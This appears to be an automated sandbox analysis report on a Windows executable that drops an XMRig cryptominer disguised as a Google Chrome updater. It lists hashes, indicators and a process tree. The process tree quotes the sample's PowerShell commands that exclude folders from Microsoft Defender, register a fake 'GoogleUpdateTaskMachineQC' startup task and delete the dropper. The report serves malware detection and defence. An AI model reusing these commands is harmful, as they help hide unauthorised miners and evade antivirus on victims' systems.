Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25/01/2024, 16:55
240125-vfcyksbhgr1024/01/2024, 17:15
240124-vstf4aecaj1023/01/2024, 19:27
240123-x6cfvagbd91023/01/2024, 19:27
240123-x6bvbafgem1023/01/2024, 19:27
240123-x6bjjsgbd81023/01/2024, 19:27
240123-x6ax1sfgek1023/01/2024, 19:27
240123-x6abgsfgej1023/01/2024, 19:27
240123-x591qagbd71023/01/2024, 19:27
240123-x59d7agbd61023/01/2024, 19:27
240123-x584esgbd510Analysis
- max time kernel
1798s - max time network
1791s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system - submitted
23/01/2024, 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
- Target grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
- Size 2.0MB
- Sample240123-x6bvbafgem
- SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
- MD5 a16a669a09bf158058b83e04e69fe38e
- SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
- SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
- SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 1040 created 3460 1040 XJEzW6M7WvHaF3EX.exe 57 PID 1040 created 3460 1040 XJEzW6M7WvHaF3EX.exe 57 PID 1040 created 3460 1040 XJEzW6M7WvHaF3EX.exe 57 PID 1040 created 3460 1040 XJEzW6M7WvHaF3EX.exe 57 PID 4996 created 3460 4996 updater.exe 57 PID 4996 created 3460 4996 updater.exe 57 PID 4996 created 3460 4996 updater.exe 57 PID 4996 created 3460 4996 updater.exe 57 PID 3544 created 3460 3544 conhost.exe 57 PID 4996 created 3460 4996 updater.exe 57 - XMRig Miner payload 30 IoCs
resource yara_rule behavioral28/memory/1504-127-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-131-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-133-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-134-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-136-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-140-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-142-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-144-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-146-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-148-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-150-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-152-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-154-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-156-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-158-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-160-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-162-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-164-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-166-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-168-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-170-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-172-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-174-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-176-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-178-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-180-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-182-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-184-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-186-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig behavioral28/memory/1504-188-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp xmrig - Executes dropped EXE 1 IoCs
pid Process 4996 updater.exe -
resource yara_rule behavioral28/memory/1504-119-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-127-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-131-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-133-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-134-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-136-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-140-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-142-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-144-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-146-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-148-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-150-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-152-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-154-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-156-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-158-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-160-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-162-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-164-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-166-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-168-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-170-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-172-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-174-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-176-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-178-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-180-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-182-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-184-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-186-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx behavioral28/memory/1504-188-0x00007FF7C2BA0000-0x00007FF7C3394000-memory.dmp upx - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4996 set thread context of 3544 4996 updater.exe 117 PID 4996 set thread context of 1504 4996 updater.exe 118 - Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe XJEzW6M7WvHaF3EX.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe - Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4412 WMIC.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe - Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 1040 XJEzW6M7WvHaF3EX.exe 1040 XJEzW6M7WvHaF3EX.exe 3240 powershell.exe 3240 powershell.exe 1040 XJEzW6M7WvHaF3EX.exe 1040 XJEzW6M7WvHaF3EX.exe 3948 powershell.exe 3948 powershell.exe 1040 XJEzW6M7WvHaF3EX.exe 1040 XJEzW6M7WvHaF3EX.exe 1040 XJEzW6M7WvHaF3EX.exe 1040 XJEzW6M7WvHaF3EX.exe 4612 powershell.exe 4612 powershell.exe 4996 updater.exe 4996 updater.exe 1384 powershell.exe 1384 powershell.exe 4996 updater.exe 4996 updater.exe 4592 powershell.exe 4592 powershell.exe 4996 updater.exe 4996 updater.exe 4996 updater.exe 4996 updater.exe 3544 conhost.exe 3544 conhost.exe 4996 updater.exe 4996 updater.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3240 powershell.exe Token: SeDebugPrivilege 3948 powershell.exe Token: SeIncreaseQuotaPrivilege 3948 powershell.exe Token: SeSecurityPrivilege 3948 powershell.exe Token: SeTakeOwnershipPrivilege 3948 powershell.exe Token: SeLoadDriverPrivilege 3948 powershell.exe Token: SeSystemProfilePrivilege 3948 powershell.exe Token: SeSystemtimePrivilege 3948 powershell.exe Token: SeProfSingleProcessPrivilege 3948 powershell.exe Token: SeIncBasePriorityPrivilege 3948 powershell.exe Token: SeCreatePagefilePrivilege 3948 powershell.exe Token: SeBackupPrivilege 3948 powershell.exe Token: SeRestorePrivilege 3948 powershell.exe Token: SeShutdownPrivilege 3948 powershell.exe Token: SeDebugPrivilege 3948 powershell.exe Token: SeSystemEnvironmentPrivilege 3948 powershell.exe Token: SeRemoteShutdownPrivilege 3948 powershell.exe Token: SeUndockPrivilege 3948 powershell.exe Token: SeManageVolumePrivilege 3948 powershell.exe Token: 33 3948 powershell.exe Token: 34 3948 powershell.exe Token: 35 3948 powershell.exe Token: 36 3948 powershell.exe Token: SeIncreaseQuotaPrivilege 3948 powershell.exe Token: SeSecurityPrivilege 3948 powershell.exe Token: SeTakeOwnershipPrivilege 3948 powershell.exe Token: SeLoadDriverPrivilege 3948 powershell.exe Token: SeSystemProfilePrivilege 3948 powershell.exe Token: SeSystemtimePrivilege 3948 powershell.exe Token: SeProfSingleProcessPrivilege 3948 powershell.exe Token: SeIncBasePriorityPrivilege 3948 powershell.exe Token: SeCreatePagefilePrivilege 3948 powershell.exe Token: SeBackupPrivilege 3948 powershell.exe Token: SeRestorePrivilege 3948 powershell.exe Token: SeShutdownPrivilege 3948 powershell.exe Token: SeDebugPrivilege 3948 powershell.exe Token: SeSystemEnvironmentPrivilege 3948 powershell.exe Token: SeRemoteShutdownPrivilege 3948 powershell.exe Token: SeUndockPrivilege 3948 powershell.exe Token: SeManageVolumePrivilege 3948 powershell.exe Token: 33 3948 powershell.exe Token: 34 3948 powershell.exe Token: 35 3948 powershell.exe Token: 36 3948 powershell.exe Token: SeIncreaseQuotaPrivilege 3948 powershell.exe Token: SeSecurityPrivilege 3948 powershell.exe Token: SeTakeOwnershipPrivilege 3948 powershell.exe Token: SeLoadDriverPrivilege 3948 powershell.exe Token: SeSystemProfilePrivilege 3948 powershell.exe Token: SeSystemtimePrivilege 3948 powershell.exe Token: SeProfSingleProcessPrivilege 3948 powershell.exe Token: SeIncBasePriorityPrivilege 3948 powershell.exe Token: SeCreatePagefilePrivilege 3948 powershell.exe Token: SeBackupPrivilege 3948 powershell.exe Token: SeRestorePrivilege 3948 powershell.exe Token: SeShutdownPrivilege 3948 powershell.exe Token: SeDebugPrivilege 3948 powershell.exe Token: SeSystemEnvironmentPrivilege 3948 powershell.exe Token: SeRemoteShutdownPrivilege 3948 powershell.exe Token: SeUndockPrivilege 3948 powershell.exe Token: SeManageVolumePrivilege 3948 powershell.exe Token: 33 3948 powershell.exe Token: 34 3948 powershell.exe Token: 35 3948 powershell.exe - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4520 wrote to memory of 676 4520 cmd.exe 102 PID 4520 wrote to memory of 676 4520 cmd.exe 102 PID 4612 wrote to memory of 4636 4612 powershell.exe 105 PID 4612 wrote to memory of 4636 4612 powershell.exe 105 PID 4996 wrote to memory of 3544 4996 updater.exe 117 PID 1940 wrote to memory of 4412 1940 cmd.exe 112 PID 1940 wrote to memory of 4412 1940 cmd.exe 112 PID 4996 wrote to memory of 1504 4996 updater.exe 118 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3460
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1040
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3240
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3948
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4520
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4612 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:4636
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1384
